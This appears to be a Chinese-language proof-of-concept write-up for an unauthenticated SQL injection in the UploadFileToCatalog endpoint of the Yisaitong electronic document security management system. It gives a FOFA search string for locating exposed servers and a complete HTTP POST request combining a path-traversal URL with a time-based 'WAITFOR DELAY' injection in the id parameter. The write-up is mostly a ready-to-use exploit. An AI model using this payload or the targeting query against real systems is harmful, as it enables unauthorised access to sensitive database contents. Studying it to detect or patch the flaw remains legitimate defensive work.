Y5-2亿赛通-电子文档安全管理系统-SQL

漏洞描述：

由于某赛通电子文档安全管理系统 UploadFileToCatalog接口的id参数处对传入的数据没有预编译和充足的校验，导致该接口存在SQL注入漏洞，未授权的攻击者可获取数据库敏感信息。

网站图片：

网络测绘：

fofa语法：

FOFA：body="/CDGServer3/index.jsp"

漏洞复现：

payload：

```
POST /CDGServer3/js/../policy/UploadFileToCatalog?fromurl=../user/dataSearch.jsp HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

id=1';WAITFOR DELAY '0:0:5'--
```

效果图:
延时5秒